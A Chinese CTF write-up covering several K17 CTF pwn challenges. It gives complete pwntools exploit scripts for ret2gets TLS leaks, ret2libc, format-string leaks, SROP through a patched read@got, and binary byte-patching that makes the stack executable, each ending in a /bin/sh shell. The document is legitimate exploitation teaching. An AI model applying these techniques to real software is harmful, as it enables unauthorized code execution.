0x01 前言

依旧Redbud大佬carry,这次还来了个re大佬。最终排名 6/1325. 不得不说国际赛pwn题真的是小众又新奇。目前打了两次国际赛,看得出老外不是很喜欢出堆题。

0x02 题解部分

ezwins

How old can it be to win?

虽然这题不是我写的,是wallace哥ai梭出来的,但还是简单记录一下。
程序逻辑如下同时程序中有后门函数,简单分析一下中间那坨
省流,取我们的输入做为地址进行跳转,尝试写下payload

sla('What\'s your name?\n',b'aaaa')
sla('How old are you?\n',str(0x0000000004011F6))

发现会卡在call的地址莫名其妙少了1字节,这里懒得深究了,我们在发送地址的时候左移8即可

完整EXP:

from pwn import *
from ctypes import *
import struct

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/ezwin'
elf=ELF(file)

choice = 0x00
if choice:
port= 9003
k17 = 'challenge.secso.cc'
p = remote(k17,port)

else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
# gdb.attach(p,'b *$rebase(0x00000000000079CA)')


debug()

sla('What\'s your name?\n',b'aaaa')
sla('How old are you?\n',str(0x0000000004011F6<<8))

itr()

u get me write

Surely one gets call wont get me fired right?

checksec一下

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

然后是ida
我草这么简单,正当我以为可以直接ret2libc秒了的时候我发现这个程序没有 pop rdi;ret 这个gadget。
非常熟悉的一幕,这不是我们Litctf 2025的master_of_rop吗。gets函数执行之后rdi会指向_IO_stdfile_0_lock 结构体,参考ret2gets_IO_lock_unlock 会使 _IO_stdfile_0_lock 中的cnt减1,所以在覆盖的时候需要注意这个值。

typedef struct {    
int lock;
int cnt;
void *owner;
} _IO_lock_t;

2.35及之前的版本是将cnt设置为0,然后利用上面说到的 _IO_lock_unlock 会使 _IO_stdfile_0_lock 中的cnt减1,制造一个负数溢出,这样cnt会变成0xffffffff, 这样再调用一个puts或者其他输出函数的时候就能把结构体中的owner给输出出来。这里就能泄露libc基地址,有了libc基地址就能用libc中自带的gadget来打ret2libc。

简单尝试了一下2.35前的打法,发现打不通,我们继续往下看:
_IO_lock_unlock_IO_stdfile_0_lock 更新过了,_IO_stdfile_0_lock 只在 cnt 不为0的时候才会执行cnt–。也就是没法利用负数溢出来覆盖掉b’\x00’, 导致没法泄露libc。但仍然有方法来绕过这个限制,首先来看看原文中给出的payload:

payload  = b"A" * 0x20
payload += p64(0) # saved rbp
payload += p64(e.plt.gets)
payload += p64(e.plt.gets)
payload += p64(e.plt.puts)

p.sendlineafter(b"ROP me if you can!\n", payload)
p.sendline(p32(0) + b"A"*4 + b"B"*8)
p.sendline(b"CCCC")

这里构造了两次gets读入,看看第一次读入了什么:

p32(0) + b"A"*4 + b"B"*8

p32(0)将lock字段给覆盖成0,为了绕过lll_lock的检测,避免程序发生死锁,能让owner字段被设置为一个与libc基地址偏移固定的地址。4个A和8个B都是垃圾数据,用来填充掉cnt和owner。接着来看第二段payload:

p.sendline(b"CCCC")

发送了4个C,也是垃圾数据,目的是利用gets函数会在输入结尾加上b’\x00’这一特性。当_IO_lock_unlock 被调用时,它会检查cnt。由于我们第一次 gets 时用 AAAA 填充了 cnt,且现在LSB是\x00,所以cnt现在不为0。
这就绕过了_IO_lock_unlock清空owner字段的操作。然后就会执行--(_name).cnt,使得cnt的LSB发生负数溢出,变成b'\xff',这意味着变相填满了前面的lock和cnt字段。利用输出函数就能将owner字段上残留的LTS给输出,这个值是一个与libc基地址偏移固定的地址.由于是高版本,最后构造system(‘/bin/sh’)的时候仍需注意栈对齐的问题

ret = 0x000000000040101a

payload = b"A" * 0x20
payload += p64(0)
payload += p64(elf.plt.gets)
payload += p64(elf.plt.gets)
payload += p64(elf.plt.printf)
payload += p64(elf.sym['main'])

sla(b"Pleasure to meet you! Please enter your name: \n", payload)

sl(p32(0) + b"A"*4 + b"B"*8)
sl(b"CCCC")

r(8)
tls = u64(r(6).ljust(8,b'\x00'))
leak('tls')

libc_base = tls + 0x28c0
leak('libc_base')

pop_rdi = 0x000000000010f75b
system,binsh = get_sb()
ret = 0x000000000040101a

payload = b'a'*(0x20+8)+flat(ret,libc_os(pop_rdi),binsh,system,elf.sym['main'])
sla(b"Pleasure to meet you! Please enter your name: \n", payload)

itr()

基本上也是挺模板的,但是这段payload依然打不通,像是根本没有构造到gets一样,没有任何回显。类似这样,无论是远程还是本地,因为比赛结束了靶机已经连不上了所以只能拿LitCTF的同款2.39-0ubuntu8.4。(哦对了,比赛中并没有给libc文件,所以也只是刚好猜中是2.39) 直到我看到了这篇wp中的同类型题目LACTF 2025 他的payload中的第一段构造两个gets这里插入了两个ret

payload = flat([
b'a' * 72,
ret,
elf.plt.gets,
elf.plt.gets,
elf.plt.puts,
ret,
elf.symbols['main']
])

虽然很奇怪但是我还是模仿了一下,结果居然能正常运行,明明都是2.39,但为什么Lit那题不用这几个ret???
算了不管了,反正把tls给泄露出来了,接下来就是计算libc的偏移
这样我们就得到了libc_base,最后就是简单的ret2libc

完整EXP:

from pwn import *
from ctypes import *
import struct

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/ret2gets/gets'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/ret2gets/libc.so.6')


choice = 0x00
if choice:
port= 8004
k17 = 'challenge.secso.cc'
p = remote(k17,port)
# p = remote(nep, port, ssl=True, sni=nep)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

ret = 0x000000000040101a

payload = b"A" * 0x20
payload += p64(0) # saved rbp
payload += p64(ret)
payload += p64(elf.plt.gets)
payload += p64(elf.plt.gets)
payload += p64(elf.plt.printf)
payload += p64(ret)
payload += p64(elf.sym['main'])

sla(b"Pleasure to meet you! Please enter your name: \n", payload)

sl(p32(0) + b"A"*4 + b"B"*8)
sl(b"CCCC")
debug()

r(8)
tls = u64(r(6).ljust(8,b'\x00'))
leak('tls')

libc_base = tls + 0x28c0
leak('libc_base')

pop_rdi = 0x000000000010f75b
system,binsh = get_sb()
ret = 0x000000000040101a

payload = b'a'*(0x20+8)+flat(ret,libc_os(pop_rdi),binsh,system,elf.sym['main'])
sla(b"Pleasure to meet you! Please enter your name: \n", payload)

itr()

singular hole

surely one singular hole is easier to handle than many holes

这个easy题比上面那道medium解的人还少,什么情况,checksec一下

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fb000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

ida启动
一个16字符长度的格式化字符串漏洞,然后可以输入 0x60 字节的内容。跟进一下hole();
给了一个任意地址写的功能,但只能写1字节。如果只是这样看的话的确看不出有什么问题,上面0x60字节没办法溢出,这个任意写又只能写一字节,但是在我debug的时候碰巧发现
hole函数的返回地址紧随的内容刚好是刚刚输入的0x60的字节的内容,这样的话我们可以:

  • 利用一开始的格式化字符串漏洞泄露libc和栈地址
  • 利用第二次输入的0x60字节的内容构造system("/bin/sh")
  • 利用得到的栈地址将hole函数的返回地址最后1字节修改成ret,顺势执行我们构造的system("/bin/sh")

效果如下

完整EXP:

from pwn import *
from ctypes import *
import struct

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/one_hole'
elf=ELF(file)
libc = ELF('/home/l1nk/glibc-all-in-one/libs/2.39-0ubuntu8.5_amd64/libc.so.6')


choice = 0x00
if choice:
port= 9003
k17 = 'challenge.secso.cc'
p = remote(k17,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
# gdb.attach(p,'b *$rebase(0x00000000000079CA)')
# gdb.attach(p,'b *0x00000000004008B3')


debug()


payload = b'%26$p%41$p'
sla('Please state your name:\n',payload)
ru('>> Well hello ')
stack_addr = int(r(14),16)
libc_base = int(rl()[-15:-1],16)-0x2a28b
leak('stack_addr')
leak('libc_base')
system,binsh = get_sb()

rdi = libc_os(0x000000000010f75b)
payload = flat(rdi,binsh,system,0xdeadbeef)
# payload = b'a'*90
sla('Please state a fun fact about yourself:',payload)

sla('Now let\'s get to business. Where would you like to place your hole?',str(hex(stack_addr-0x1a0)))
sla('What would you like to write there?',str(0x8a))

itr()

into the void (已复现)

void

ok程序非常简单
alt text觉得非常简单但是会发现根本没有可以用来输出的函数,整个程序中只用了read。并且并且没有pop rdi;ret这个gadget。经过大致搜索之后大概知道是ret2dlsolve或者是srop。前者需要rdi,后者需要syscall,两个都没有,完全无从下手。。。


复现版

从程序来看
alt text
在ret之前,将rax设定成了0xf,确实是在提示我们打srop,但是还是像我们说的那样,没有syscall。赛后我看了各位师傅的wp发现,原来syscall还能自己造…我们看 @mannikebab (Kriz)佬的思路

PLAN:
stack pivot to bss (for binsh string at rbp offset)
overwrite last byte in read@got to 0xf9 (syscall; ret)
srop -> rax=59,rdi=*"/bin/sh",rsi=0,rdx=0, rip=*main+43

只需要将read的got表的最后一字节写成0xf9就能得到syscall,马上动手实践下。首先是栈迁移,覆盖rbp,往bss段上写数据

payload = b'a' * 12 
payload += p64(elf.bss()+0x800)
payload += p64(elf.sym['main']+8)
s(payload)

然后重头戏来了,程序中留下了pop rsi; ret这个gadget,是用在这里了,需要我们往read@got上写一个字节,目的是为了将read改造成syscall
alt text在我本地的机器上是0xe0,只要将read@got的最后一字节改成0xe0,再次调用read就相当于调用syscall。所以第二次read我们需要做的是写入/bin/sh,设定好srop需要的条件即可。

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = elf.bss()+0x800 -0xc# Reach our /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.sym.main + 43 # Instant to ret addr
frame.rsp = elf.got.read

pop_rsi = 0x000000000040113a

payload = b'/bin/sh\x00'
payload = payload.ljust(12,b'a')
payload += p64(elf.bss()+0x800)
payload += p64(pop_rsi)
payload += p64(elf.got.read - 14)
payload += p64(elf.plt.read) # 改写read@got的最后一字节
payload += p64(elf.plt.read) # 调用read,实际上是syscall,调用完后我们的 rax 仍然是 0xf
payload += bytes(frame) # srop

alt text改造效果如上, 紧随着的就是 rax 为 0xf 的假read(syscall)。
SROP参考:SROP
但是不得不吐槽的是,根本不给libc,最后依旧需要猜谜…

完整EXP:

from pwn import *
from ctypes import *
import struct

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/void'
elf=ELF(file)

choice = 0x001
if choice:
port= 8003
k17 = 'challenge.secso.cc'
p = remote(k17,port)
# p = remote(nep, port, ssl=True, sni=nep)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
# gdb.attach(p,'b *$rebase(0x00000000000079CA)')

debug()

payload = b'a' * 12
payload += p64(elf.bss()+0x800)
payload += p64(elf.sym['main']+12)
s(payload)

sigframe = SigreturnFrame()
sigframe.rax = 0x3b
sigframe.rdi = elf.bss()+0x800 -0xc# /bin/sh\x00
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = elf.sym.main + 43
sigframe.rsp = elf.got.read

pop_rsi = 0x000000000040113a

payload = b'/bin/sh\x00'
payload = payload.ljust(12,b'a')
payload += p64(elf.bss()+0x800)
payload += p64(pop_rsi)
payload += p64(elf.got.read - 14)
payload += p64(elf.plt.read)
payload += p64(elf.plt.read)
payload += bytes(sigframe)

time.sleep(1)
# pause()
s(payload)

time.sleep(1)
# pause()

# s(b'A' * 14 + b'\xe0') # for Ubuntu GLIBC 2.35-0ubuntu3.10
s(b'A' * 14 + b'\xf9')
itr()

holes (已复现)

The worms have begun digging again. docker image is ubuntu:24.04
Note: Use the remote! The provided binary is only part of the challenge.

题目的附件是一个没漏洞的二进制程序,并且保护开满,remote之后发现允许我们任意修改程序中的两个字节…
alt text简单尝试一下,将

.text:000000000000121E 48 8D 45 B0                    lea     rax, [rbp+s]
.text:0000000000001222 48 89 C6 mov rsi, rax
.text:0000000000001225 48 8D 3D EB 0D lea rdi, format ; "Hello %s"
.text:0000000000001225 00 00
.text:000000000000122C B8 00 00 00 00 mov eax, 0
.text:0000000000001231 E8 7A FE FF FF call _printf

改成了

.text:000000000000121E 48 8D 45 B0                    lea     rax, [rbp+s]
.text:0000000000001222 48 89 C7 mov rdi, rax ; format
.text:0000000000001225 4C 8D 3D EB 0D lea r15, aHelloS ; "Hello %s"
.text:0000000000001225 00 00
.text:000000000000122C B8 00 00 00 00 mov eax, 0
.text:0000000000001231 E8 7A FE FF FF call _printf

alt text漏洞是造出来了,但pie限制的太多,劫持不了程序流能做的事还是太少了。
非常新奇的出题方式,完全手足无措,等复现了


discord 大佬的说到:

More complicated solution for holes:
call fflush -> call _start
lea rdi, [rel data_402017] {“Hello %s”} -> xchg rdi, rax
this will give you infinite format strings

复现版

我的想象力还是太匮乏了,太局限于printf这里。按照上面的从discord大佬的发言,我尝试了一下

.text:000000000000121E 48 8D 45 B0                    lea     rax, [rbp+s]
.text:0000000000001222 48 89 C6 mov rsi, rax
.text:0000000000001225 48 97 xchg rax, rdi ; format
.text:0000000000001227 3D EB 0D 00 00 cmp eax, 0DEBh
.text:000000000000122C B8 00 00 00 00 mov eax, 0
.text:0000000000001231 E8 7A FE FF FF call _printf
.text:0000000000001236 48 8B 05 D3 2D mov rax, cs:__bss_start
.text:0000000000001236 00 00
.text:000000000000123D 48 89 C7 mov rdi, rax
.text:0000000000001240 E8 9B FE FF FF call _start

在截断lea rdi, [rel data_402017] {"Hello %s"}之后后面的两条指令变成了无害无用的指令,最后call _start则是制造出了无限格式化字符串漏洞。
既然是RELRO: Full RELRO 就只能从写rop链然后劫持程序流入手了,首先要做的还是泄露pie_baselibc_base和栈地址,对应位置:
alt text栈地址就直接用rsi了。接着就要构造rop链来getshell,首先观察到:alt text printf返回到main函数这里之后,距离我们输入的位置非常近,接着再接上我们的布置的rop链。问题就是,如何越过中间的内容,让程序执行我们布置的rop链呢?注意到程序中是有__libc_csu_init的,我们可以利用结尾的一大堆pop将中间这些碍事的数据铲除,这样既能用很短的payload来写掉printf的返回地址(只需要写一个字节),又可以用剩余的输入空间来写入rop链。

完整EXP:

from pwn import *
from ctypes import *
import struct

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/binary'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/libc.so.6')

choice = 0x00
if choice:
port= 8002
k17 = 'challenge.secso.cc'
p = remote(k17,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

sla(b"change:", str(0x1226).encode())
sla(b"to:", b"97")

sla(b"change:",str(0x1240+1).encode())
sla(b"to:", b"9b")

payload = b'%p %23$p %39$p'
sla('What is your name?\n',payload)
leaks = p.recvline_contains(b"0x").split(b" ")

stack_addr = int(leaks[0],16)
pie_base = int(leaks[1],16) - elf.sym['main']
libc_base = int(leaks[2],16) - 0x2a28b


libc.address = libc_base

leak('stack_addr')
leak('libc_base')
leak('pie_base')

target = stack_addr - 0x198
leave_ret = pie_base + 0x000000000000125e

rop = ROP(libc)
rop.raw(rop.ret.address)
rop.system(next(libc.search(b"/bin/sh\0")))

fmt = b"%187c%10$hhn".ljust(16, b"A") + p64(target) + rop.chain()

sla('What is your name?\n',fmt)

itr()

大概的效果就是这样,正好5个pop指令
alt text最后正好执行我们布置的system('bin/sh')
alt text

不得不说这种打法还是有局限性的,没有__libc_csu_init我真的不知道怎么操作…

神之shellcode

来自RasyidMF 大神的解法:K17 CTF — Write Up

# Edits to perform (decimal offsets the service expects)
# 1) Enable exec on GNU_STACK: offset 0x2ac (684) 0x06 -> 0x07
# 2) Patch printf@plt 3rd byte: offset 0x10b6 (4278) 0x25 -> 0xe6

直接就把nx给开了,接着貌似是把printf函数的plt?改掉了,改成了

.plt.sec:00000000000010B0 sub_10B0        proc near               ; CODE XREF: main+68↓p
.plt.sec:00000000000010B0 endbr64
.plt.sec:00000000000010B4 bnd jmp rsi
.plt.sec:00000000000010B4 sub_10B0 endp

直接就是jmp rsi,而rsi正好又是我们输入的内容:

.text:000000000000121E                 lea     rax, [rbp+s]
.text:0000000000001222 mov rsi, rax
.text:0000000000001225 lea rdi, aHelloS ; "Hello %s"
.text:000000000000122C mov eax, 0
.text:0000000000001231 call sub_10B0

真是佩服,就这样一段shellcode就搞定了,真的太夸张了。你可以用pwntools来找到NX的标志位

from pwn import *
binary = ELF("./program", checksec=False)
for i, seg in enumerate(binary.segments):
if seg.header.p_type == 'PT_GNU_STACK':
print("Znalazłem PT_GNU_STACK (segment index %d)" % i)
print(" p_flags =", hex(seg.header.p_flags))
print(" writable? ", bool(seg.header.p_flags & 2))
print(" executable?", bool(seg.header.p_flags & 1))

# policz offset w pliku do p_flags
if binary.elfclass == 64:
# w ELF64 p_flags jest 4 bajty od początku Program Header
phoff = binary.header.e_phoff + i * binary.header.e_phentsize + 4
else:
# w ELF32 p_flags jest 24 bajty od początku Program Header
phoff = binary.header.e_phoff + i * binary.header.e_phentsize + 24

print(" file offset of p_flags:", hex(phoff))